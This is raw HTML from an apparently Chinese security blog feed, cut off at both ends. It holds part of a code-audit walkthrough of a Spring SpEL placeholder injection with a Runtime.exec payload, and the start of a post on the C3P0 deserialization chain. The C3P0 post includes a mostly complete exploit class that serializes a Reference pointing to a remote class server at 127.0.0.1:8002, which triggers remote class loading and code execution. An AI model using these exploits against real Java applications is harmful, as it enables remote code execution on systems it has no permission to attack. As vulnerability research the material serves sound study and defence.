class="line">withinNestedPlaceholder--;</span><br><span class="line">index = index + <span class="built_in">this</span>.placeholderSuffix.length();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">return</span> index;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (StringUtils.substringMatch(buf, index, <span class="built_in">this</span>.simplePrefix)) {</span><br><span class="line">withinNestedPlaceholder++;</span><br><span class="line">index = index + <span class="built_in">this</span>.simplePrefix.length();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span> {</span><br><span class="line">index++;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从上图可知,int index 也就等于 24+2=26</p><p>显然 <code>index<buf.length()</code> ,进入 while 循环</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221518993.png" alt="image-20230522151821848"></p><p>接着会遍历字符串是否为后缀 "}",从 index=26 开始</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221518138.png" alt="image-20230522151832032"></p><p>似乎到 109 就结束了</p><p>下一步</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221522738.png" alt="img"></p><p>这里 <code>For input string: &quot;</code> 是 24,</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">placeholder</span> <span class="operator">=</span> result.substring(startIndex + <span class="built_in">this</span>.placeholderPrefix.length(), endIndex);</span><br></pre></td></tr></table></figure><p>换句话说也就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">placeholder</span> <span class="operator">=</span> result.substring(<span class="number">24</span> + <span class="number">2</span>, <span class="number">109</span>);</span><br></pre></td></tr></table></figure><p>换言之</p><p>也就是将 ${} 中的内容提取出来</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(java.lang.Runtime).getRuntime().exec(<span class="keyword">new</span> <span class="title class_">String</span>(<span class="keyword">new</span> <span class="title class_">byte</span>[]{<span class="number">0x63</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x63</span>}))</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221522835.png" alt="image-20230522152224788"></p><p>并将其赋值给 <code>originalPlaceholder</code></p><p>重写的 <code>resolvePlaceholder</code> 处理 <code>name</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221522289.png" alt="image-20230522152232137"></p><p>还是同样的 <code>getValue</code></p><p>获取上下文和 <code>Expression</code></p><p>并编译表达式</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221522622.png" alt="img"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>浅析C3P0攻击链</title>
<link href="/2023/03/09/%E6%B5%85%E6%9E%90C3P0%E6%94%BB%E5%87%BB%E9%93%BE/"/>
<url>/2023/03/09/%E6%B5%85%E6%9E%90C3P0%E6%94%BB%E5%87%BB%E9%93%BE/</url>
<content type="html"><![CDATA[<h1 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h1><p>C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。</p><p>JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。<br>使用 Java 程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。</p><p>连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时 Java 在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。</p><h1 id="环境搭建"><a class="markdownIt-Anchor" href="#环境搭建">#</a> 环境搭建</h1><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>com.mchange</groupId></span><br><span class="line"> <artifactId>c3p0</artifactId></span><br><span class="line"> <version><span class="number">0.9</span><span class="number">.5</span><span class="number">.2</span></version></span><br><span class="line"></dependency></span><br></pre></td></tr></table></figure><h1 id="关于c3p0攻击链的利用方式"><a class="markdownIt-Anchor" href="#关于c3p0攻击链的利用方式">#</a> 关于 C3P0 攻击链的利用方式</h1><p>1、URLClassLoader 远程类加载<br> 2、JNDI 注入<br> 3、利用 HEX 序列化字节加载器进行反序列化攻击</p><h2 id="urlclassloader"><a class="markdownIt-Anchor" href="#urlclassloader">#</a> URLClassLoader</h2><p>漏洞点在 <code>PoolBackedDataSourceBase</code></p><p><code>readobject</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">( ObjectInputStream ois )</span> <span class="keyword">throws</span> IOException, ClassNotFoundException</span><br><span class="line">{</span><br><span class="line"><span class="type">short</span> <span class="variable">version</span> <span class="operator">=</span> ois.readShort();</span><br><span class="line"><span class="keyword">switch</span> (version)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">case</span> VERSION:</span><br><span class="line"><span class="comment">// we create an artificial scope so that we can use the name o for all indirectly serialized objects.</span></span><br><span class="line">{</span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line"><span class="keyword">if</span> (o <span class="keyword">instanceof</span> IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();</span><br><span class="line"><span class="built_in">this</span>.connectionPoolDataSource = (ConnectionPoolDataSource) o;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">this</span>.dataSourceName = (String) ois.readObject();</span><br><span class="line"><span class="comment">// we create an artificial scope so that we can use the name o for all indirectly serialized objects.</span></span><br><span class="line">{</span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line"><span class="keyword">if</span> (o <span class="keyword">instanceof</span> IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();</span><br><span class="line"><span class="built_in">this</span>.extensions = (Map) o;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">this</span>.factoryClassLocation = (String) ois.readObject();</span><br><span class="line"><span class="built_in">this</span>.identityToken = (String) ois.readObject();</span><br><span class="line"><span class="built_in">this</span>.numHelperThreads = ois.readInt();</span><br><span class="line"><span class="built_in">this</span>.pcs = <span class="keyword">new</span> <span class="title class_">PropertyChangeSupport</span>( <span class="built_in">this</span> );</span><br><span class="line"><span class="built_in">this</span>.vcs = <span class="keyword">new</span> <span class="title class_">VetoableChangeSupport</span>( <span class="built_in">this</span> );</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">"Unsupported Serialized Version: "</span> + version);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意到</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221433069.jpg" alt="img"></p><p>这里会先判断对象 o 是否是 <code>IndirectlySerialized</code> 类的对象或者是其子类的对象<br>调用 <code>getobject</code> 后强转换对象为 <code>ConnectionPoolDataSource</code> <br> 但是该接口并不能反序列化</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221445345.png" alt="image-20230522144558281"></p><p>去看下入口点 <code>writeobject</code> 处的写法<br> <code>writeobject</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221446560.png" alt="image-20230522144609339"></p><p>看下调用返回的对象<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221446160.png" alt="image-20230522144627000"><br> 是一个 <code>ReferenceSerialized</code> 的构造方法</p><p>举个不是很恰当的例子<br> <code>ReferenceSerialized</code> 是 “加强版” 的 <code>ConnectionPoolDataSource</code></p><p>也就是说在序列化时,实际上的类进行了转换, <code>ConnectionPoolDataSource</code> -> <code>ReferenceSerialized</code></p><p>再回到 <code>readobject</code> 调用的 <code>IndirectlySerialized.getobject</code> <br> 位于 <code>ReferenceIndirector</code> <br> <code>getObject</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">getObject</span><span class="params">()</span> <span class="keyword">throws</span> ClassNotFoundException, IOException</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line">{</span><br><span class="line"> Context initialContext;</span><br><span class="line"> <span class="keyword">if</span> ( env == <span class="literal">null</span> )</span><br><span class="line">initialContext = <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line">initialContext = <span class="keyword">new</span> <span class="title class_">InitialContext</span>( env );</span><br><span class="line"></span><br><span class="line"> <span class="type">Context</span> <span class="variable">nameContext</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">if</span> ( contextName != <span class="literal">null</span> )</span><br><span class="line">nameContext = (Context) initialContext.lookup( contextName );</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); </span><br><span class="line">}</span><br><span class="line"> <span class="keyword">catch</span> (NamingException e)</span><br><span class="line">{</span><br><span class="line"> <span class="comment">//e.printStackTrace();</span></span><br><span class="line"> <span class="keyword">if</span> ( logger.isLoggable( MLevel.WARNING ) )</span><br><span class="line">logger.log( MLevel.WARNING, <span class="string">"Failed to acquire the Context necessary to lookup an Object."</span>, e );</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">InvalidObjectException</span>( <span class="string">"Failed to acquire the Context necessary to lookup an Object: "</span> + e.toString() );</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里是对环境变量上下文进行加载<br>我们关注 return 这里 <code>ReferenceableUtils.referenceToObject</code> ,跟进</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">referenceToObject</span><span class="params">( Reference ref, Name name, Context nameCtx, Hashtable env)</span></span><br><span class="line"><span class="keyword">throws</span> NamingException</span><br><span class="line"> {</span><br><span class="line"><span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"><span class="type">String</span> <span class="variable">fClassName</span> <span class="operator">=</span> ref.getFactoryClassName();</span><br><span class="line"><span class="type">String</span> <span class="variable">fClassLocation</span> <span class="operator">=</span> ref.getFactoryClassLocation();</span><br><span class="line"></span><br><span class="line"><span class="type">ClassLoader</span> <span class="variable">defaultClassLoader</span> <span class="operator">=</span> Thread.currentThread().getContextClassLoader();</span><br><span class="line"><span class="keyword">if</span> ( defaultClassLoader == <span class="literal">null</span> ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();</span><br><span class="line"></span><br><span class="line">ClassLoader cl;</span><br><span class="line"><span class="keyword">if</span> ( fClassLocation == <span class="literal">null</span> )</span><br><span class="line"> cl = defaultClassLoader;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"><span class="type">URL</span> <span class="variable">u</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>( fClassLocation );</span><br><span class="line">cl = <span class="keyword">new</span> <span class="title class_">URLClassLoader</span>( <span class="keyword">new</span> <span class="title class_">URL</span>[] { u }, defaultClassLoader );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="type">Class</span> <span class="variable">fClass</span> <span class="operator">=</span> Class.forName( fClassName, <span class="literal">true</span>, cl );</span><br><span class="line"><span class="type">ObjectFactory</span> <span class="variable">of</span> <span class="operator">=</span> (ObjectFactory) fClass.newInstance();</span><br><span class="line"><span class="keyword">return</span> of.getObjectInstance( ref, name, nameCtx, env );</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">catch</span> ( Exception e )</span><br><span class="line"> {</span><br><span class="line"><span class="keyword">if</span> (Debug.DEBUG) </span><br><span class="line"> {</span><br><span class="line"><span class="comment">//e.printStackTrace();</span></span><br><span class="line"><span class="keyword">if</span> ( logger.isLoggable( MLevel.FINE ) )</span><br><span class="line"> logger.log( MLevel.FINE, <span class="string">"Could not resolve Reference to Object!"</span>, e);</span><br><span class="line"> }</span><br><span class="line"><span class="type">NamingException</span> <span class="variable">ne</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NamingException</span>(<span class="string">"Could not resolve Reference to Object!"</span>);</span><br><span class="line">ne.setRootCause( e );</span><br><span class="line"><span class="keyword">throw</span> ne;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>我们可以控制 <code>fClassLocation</code> ,最后通过 <code>URLClassLoader</code> 并初始化该实例来实现恶意代码执行</p><h3 id="gadget"><a class="markdownIt-Anchor" href="#gadget">#</a> Gadget</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PoolBackedDataSourceBase#readObject-></span><br><span class="line">ReferenceIndirector#getObject-></span><br><span class="line">ReferenceableUtils#referenceToObject-></span><br><span class="line">of(ObjectFactory)#getObjectInstance</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221455094.png" alt="在这里插入图片描述"></p><h3 id="exp"><a class="markdownIt-Anchor" href="#exp">#</a> EXP</h3><p>这里有个 <code>getReference</code> 方法,直接返回一个 <code>Reference</code> 对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221457621.png" alt="image-20230522145742572"></p><p>我们可以通过该方法直接构造对象</p><p>这里我们获取 <code>ConnectionPoolDataSource</code> 类的私有属性,因为反序列化的是该类对象</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">PoolBackedDataSourceBase</span> <span class="variable">poolBackedDataSourceBase</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PoolBackedDataSourceBase</span>(<span class="literal">false</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">connectionPoolDataSourceField</span> <span class="operator">=</span> PoolBackedDataSourceBase.class.getDeclaredField(<span class="string">"connectionPoolDataSource"</span>);</span><br><span class="line"> connectionPoolDataSourceField.setAccessible(<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>按照 <code>getReference</code> 方法再重写一个方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P01</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">C3P0</span> <span class="keyword">implements</span> <span class="title class_">ConnectionPoolDataSource</span>, Referenceable{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> <span class="keyword">throws</span> NamingException {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">"Calc"</span>,<span class="string">"Calc"</span>,<span class="string">"http://127.0.0.1:8002/"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String user, String password)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter out)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> seconds)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> <span class="keyword">throws</span> SQLFeatureNotSupportedException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的 <code>connectionPoolDataSource</code> 替换成我们本地的 Calc<br> 所以这里再通过</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); <span class="comment">//将对象进行修改</span></span><br></pre></td></tr></table></figure><p>并把它写在序列化入口,然后在反序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Referenceable;</span><br><span class="line"><span class="keyword">import</span> javax.sql.ConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> javax.sql.PooledConnection;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLFeatureNotSupportedException;</span><br><span class="line"><span class="keyword">import</span> java.util.logging.Logger;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">C3P01</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">C3P0</span> <span class="keyword">implements</span> <span class="title class_">ConnectionPoolDataSource</span>, Referenceable{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> <span class="keyword">throws</span> NamingException {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">"Calc"</span>,<span class="string">"Calc"</span>,<span class="string">"http://127.0.0.1:8002/"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PooledConnection <span class="title function_">getPooledConnection</span><span class="params">(String user, String password)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter out)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> seconds)</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> <span class="keyword">throws</span> SQLFeatureNotSupportedException {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayInputStream</span> <span class="variable">bain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">oin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bain)){</span><br><span class="line"> oin.readObject();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] serialize(ConnectionPoolDataSource lp) <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">PoolBackedDataSourceBase</span> <span class="variable">poolBackedDataSourceBase</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PoolBackedDataSourceBase</span>(<span class="literal">false</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">connectionPoolDataSourceField</span> <span class="operator">=</span> PoolBackedDataSourceBase.class.getDeclaredField(<span class="string">"connectionPoolDataSource"</span>);</span><br><span class="line"> connectionPoolDataSourceField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayOutputStream</span> <span class="variable">baout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baout)){</span><br><span class="line"> oout.writeObject(poolBackedDataSourceBase);</span><br><span class="line"> <span class="keyword">return</span> baout.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span 